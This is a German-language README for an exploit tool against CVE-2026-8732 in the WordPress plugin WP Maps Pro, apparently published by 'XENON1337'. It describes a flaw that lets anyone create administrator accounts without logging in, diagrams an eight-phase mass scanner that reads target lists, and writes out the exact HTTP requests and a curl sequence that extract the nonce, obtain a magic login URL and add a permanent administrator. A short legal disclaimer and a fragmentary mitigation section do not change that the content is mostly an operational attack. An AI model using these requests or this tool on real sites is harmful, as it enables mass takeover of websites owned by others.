
Automatisierter 8-Phasen-Exploit für CVE-2026-8732, eine nicht authentifizierte Privilegieneskalation in WP Maps Pro ≤ 6.1.0. Nutzt Multiprocessing und asyncio, um Ziele zu scannen, Nonces zu extrahieren und Admin-Konten zu erstellen.
8-Phasen-Automatisierungsexploit | Multiprocessing + Asyncio | Verifizierte Admin-Erstellung
Das WordPress-Plugin WP Maps Pro in Version ≤ 6.1.0 enthält eine Sicherheitsanfälligkeit zur Rechteausweitung ohne Authentifizierung. Angreifer ohne jegliche Anmeldeinformationen können ein Administrator-Konto erstellen und die Kontrolle über die Website übernehmen.
Die Schwachstelle resultiert aus der Funktion „Temporary Access", die für das Support-Team des Anbieters FlipperCode entwickelt wurde, jedoch ohne ausreichenden Schutz öffentlich zugänglich ist.
┌──────────────────────────────────────────────────────────────┐
│ SCHWACHSTELLE 1 — Endpunkt ohne Authentifizierung │
│ ▸ AJAX-Aktion mit wp_ajax_nopriv_ registriert │
│ ▸ Jeder kann ohne Anmeldung darauf zugreifen │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ SCHWACHSTELLE 2 — Nonce auf öffentlichen Seiten geleakt │
│ ▸ Das Objekt wpgmp_local.nonce wird auf jeder Seite │
│ eingebettet │
│ ▸ Angreifer können den Nonce aus dem HTML-Quelltext │
│ extrahieren │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ SCHWACHSTELLE 3 — Keine Zugriffsprüfung │
│ ▸ Die Callback-Funktion überprüft nur den Nonce │
│ ▸ Kein current_user_can() — keine weiteren Abwehrmaßnahmen │
└──────────────────────────────────────────────────────────────┘
┌─────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ PHASE 1 │──▶│ PHASE 2 │──▶│ PHASE 3 │──▶│ PHASE 4 │
│ RESOLVE │ │ CHECK WP │ │ DETECT │ │ VERSION │
│ HTTPS? │ │ wp-content│ │ PLUGIN │ │ ≤6.1.0? │
│ HTTP? │ │ wp-login │ │ wpgmp_ │ │ WAF? │
└─────────┘ └──────────┘ └──────────┘ └─────┬────┘
│ ANFÄLLIG
▼
┌──────────────────────────────────────────────────────────┐
│ PHASE 5 — NONCE-EXTRAKTION │
│ │
│ GRUPPE A (API) GRUPPE B (Inhalt) GRUPPE C │
│ ├─ M1: REST-Seiten ├─ M4: Sitemap XML └─ M7: Slug │
│ ├─ M2: REST-Suche ├─ M5: Homepage-Links Brute │
│ └─ M3: rest_route └─ M6: RSS/Atom-Feed Force │
│ │
│ Ziel: wpgmp_local.nonce = „fc-call-nonce" │
└──────────────────────────┬───────────────────────────────┘
│ NONCE GEFUNDEN
▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ PHASE 6 │──▶│ PHASE 7 │──▶│ PHASE 8 │
│ EXPLOIT │ │ VERIFY │ │ ADD ADMIN│
│ POST AJAX│ │ Magic URL│ │ PERMANENT│
│ nonce+ │ │ Cookie │ │ REST API │
│ check_ │ │ login │ │ WP-Admin │
│ temp=false│ │ check │ │ Form │
└──────────┘ └──────────┘ └──────────┘
│
▼
✅ ADMIN ERSTELLT
Login: wp_xxxx / pass
Rolle: administrator
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax
nonce=<EXTRAHIERTER_NONCE>
check_temp=false
Antwort, wenn anfällig:
{"url":"https://target.com/?wpgmp_access=abc123def456"}
Diese Magic-URL gewährt automatische Anmeldung als
fc_user_XXXXX(Rolle: administrator).
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json
{
"username": "wp_xxxxxxxx",
"email": "user@localhost",
"password": "Str0ng!Pass#2026",
"roles": ["administrator"]
}
POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded
user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1 <-- SCHLÜSSEL: Bestätigung schwaches Passwort
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>
Wichtiger Hinweis:
pw_weak=1muss zwingend enthalten sein — WordPress lehnt schwache Passwörter ohne diesen Parameter ab.
CVE-2026-8732.py
│
├── 📦 NonceFinder — Nonce-Sucher mit 7 Methoden
│ ├── Gruppe A (API): M1 REST-Seiten, M2 REST-Suche, M3 rest_route
│ ├── Gruppe B (Inhalt): M4 Sitemap, M5 Homepage-Links, M6 RSS-Feed
│ └── Gruppe C (Erzwungen): M7 Slug-Brute-Force (30+ allgemeine Slugs)
│
├── ⚔️ Exploiter — Exploit-Maschine mit 8 Phasen
│ ├── resolve() → Phase 1: Protokollauswahl
│ ├── check_wp() → Phase 2: WordPress-Verifikation
│ ├── detect_plugin() → Phase 3: Plugin-Erkennung + früher Nonce
│ ├── detect_version() → Phase 4: Versionserkennung + WAF
│ ├── exploit() → Phase 6: Kern-Exploit
│ ├── verify() → Phase 7: Verifikation Admin-Login
│ └── add_admin() → Phase 8: Permanenten Admin hinzufügen
│
├── 🔧 Worker Process — Multiprocessing-Arbeiterprozesse
│ ├── producer() → Lese Domains aus mp.Queue
│ └── consumer() (N) → Führe parallelen Scan aus
│
└── 🖥️ Scanner — Benutzeroberfläche
├── single() → Einzelzielmodus (interaktiv)
└── multi() → Mehrzielmodus (massenhaft)
targets.txt mp.Queue (Aufgaben) asyncio.Queue
┌─────────┐ ┌─────────────────┐ ┌──────────────────┐
│ domain1 │───▶│ Domain-Queue │───▶│ Interne Queue │
│ domain2 │ │ (IPC zwischen │ │ (pro Prozess) │
│ domain3 │ │ Prozessen) │ └────────┬─────────┘
│ ... │ └─────────────────┘ │
└─────────┘ ┌─────────▼──────────┐
│ Konsument (N) │
│ Exploiter.scan() │
│ 8 vollständige │
│ Phasen │
└─────────┬──────────┘
│
┌─────────▼──────────┐
│ mp.Queue (Ergebnisse)│──▶ vuln.txt
│ + JSON + TXT │ + debug.log
└────────────────────┘
pip install aiohttp
python3 CVE-2026-8732.py
[?] Wähle Modus:
1. Einzelziel
2. Mehrziel (Dateiliste)
> 1
[?] Ziel-Domain (ohne http/https): target.com
[?] Timeout [Standard: 15]: 15
python3 CVE-2026-8732.py
[?] Wähle Modus:
1. Einzelziel
2. Mehrziel (Dateiliste)
> 2
[?] Pfad zur Zieldatei (.txt): targets.txt
[?] Anzahl Prozesse [Standard: 10]: 10
[?] Parallelität pro Prozess [Standard: 50]: 50
[?] Timeout pro Anfrage [Standard: 10]: 10
[?] Ausgabedatei [Standard: vuln.txt]: vuln.txt
[?] Debug-Modus? (y/n) [Standard: n]: y
# SCHRITT 1: Nonce aus Frontend-Seite extrahieren
NONCE=$(curl -sk https://target.com/ | grep -oP '"nonce"\s*:\s*"\K[a-f0-9]{10}')
echo "Nonce: $NONCE"
# SCHRITT 2: Exploit-Payload senden
RESPONSE=$(curl -sk -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=wpgmp_temp_access_ajax&nonce=$NONCE&check_temp=false")
echo "Response: $RESPONSE"
# SCHRITT 3: Magic-URL aufrufen, um als Admin anzumelden
MAGIC_URL=$(echo $RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['url'])")
curl -sk -L -c cookies.txt "$MAGIC_URL"
# SCHRITT 4: Admin-Zugriff überprüfen
curl -sk -b cookies.txt https://target.com/wp-admin/profile.php | grep 'id="user_login"'
# SCHRITT 5: Permanenten Admin via REST API oder WP-Admin-Formular erstellen
Admin wird GENAU DANN erfolgreich erstellt, wenn beide Bedingungen erfüllt sind:
┌───────────────┐ ┌───────────────┐
│ BEDINGUNG 1 │ UND│ BEDINGUNG 2 │
│ Version ≤6.1.0│ │ GOLD AKTIV │
│ │ │ │
└───────┬───────┘ └───────┬───────┘
│ │
▼ ▼
Aktion nopriv WPGMP_Temp_
noch registriert Access verfügbar
│ │
└────────┬─────────┘
▼
✅ ADMIN ERSTELLT
| Wenn Bedingung fehlschlägt | Ergebnis |
|---|---|
| Version ≥ 6.1.1 | ❌ GEPATCHT — Aktion wp_ajax_nopriv_ entfernt |
| GOLD nicht aktiv | ⚠️ PHP-CRASH — Klasse WPGMP_Temp_Access existiert nicht |
CVE-2026-8732/
├── CVE-2026-8732.py # Automatisches Exploit-Skript
├── README.md # Projektdokumentation (diese Datei)
└── LICENSE # MIT-Lizenz
Wenn Sie Website-Betreiber sind und WP Maps Pro verwenden:
admin-ajax.php zu blockierenMIT License
Copyright (c) 2026 XENON1337
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
DIESES WERKZEUG IST NUR FÜR LEGITIME VERWENDUNG. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie ausdrückliche Erlaubnis zum Testen haben. Nutzung ohne Erlaubnis ist ILLEGAL und UNETHISCH. Der Autor übernimmt keine Haftung für Missbrauch dieses Werkzeugs.
Erstellt von XENON1337
| Information | Detail |
|---|
| CVE | CVE-2026-8732 |
| CVSS | 9.8 (KRITISCH) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Plugin | WP Maps Pro (wp-google-map-gold) |
| Anbieter | FlipperCode |
| Betroffene Version | ≤ 6.1.0 |
| Gepatchte Version | 6.1.1 |
| Typ | Fehlende Authentifizierung für kritische Funktion (CWE-306) |
| Auswirkung | Admin-Erstellung ohne Authentifizierung → vollständige Kontrolle der Website |
| PoC-Autor | XENON1337 |
| Phase | Name | Funktion | Anfragen |
|---|
| 1 | Resolve | Wähle HTTPS/HTTP parallel | 1 |
| 2 | Check WP | Überprüfe, ob das Ziel WordPress ist | 0 |
| 3 | Detect Plugin | Prüfe WP Maps-Indikator in 3 Ebenen | 0-4 |
| 4 | Version + WAF | Lese readme.txt / CSS ?ver= + erkenne WAF | 1 |
| 5 | Nonce-Extraktion | 7 Suchmethoden in 3 parallelen Gruppen | 0-150 |
| 6 | Exploit | POST admin-ajax.php → temporäres Admin-Konto erstellen | 1 |
| 7 | Verifikation | Rufe Magic-URL auf → bestätige Admin-Sitzung | 2 |
| 8 | Admin hinzufügen | REST API (primär) + WP-Admin-Formular (Backup) | 4 |
| Komponente | Technologie | Funktion |
|---|
| HTTP-Client | aiohttp | Asynchrone HTTP-Anfragen mit Verbindungspooling |
| Parallelität | asyncio + multiprocessing | Multi-Prozess + asynchron pro Prozess |
| IPC-Queue | mp.Queue | Kommunikation zwischen Hauptprozess und Arbeitern |
| Cookie | CookieJar(unsafe=True) | Umgang mit domainübergreifenden Weiterleitungen |
| Timeout | asyncio.wait_for | Zeitlimit pro Ziel (25 Sekunden) |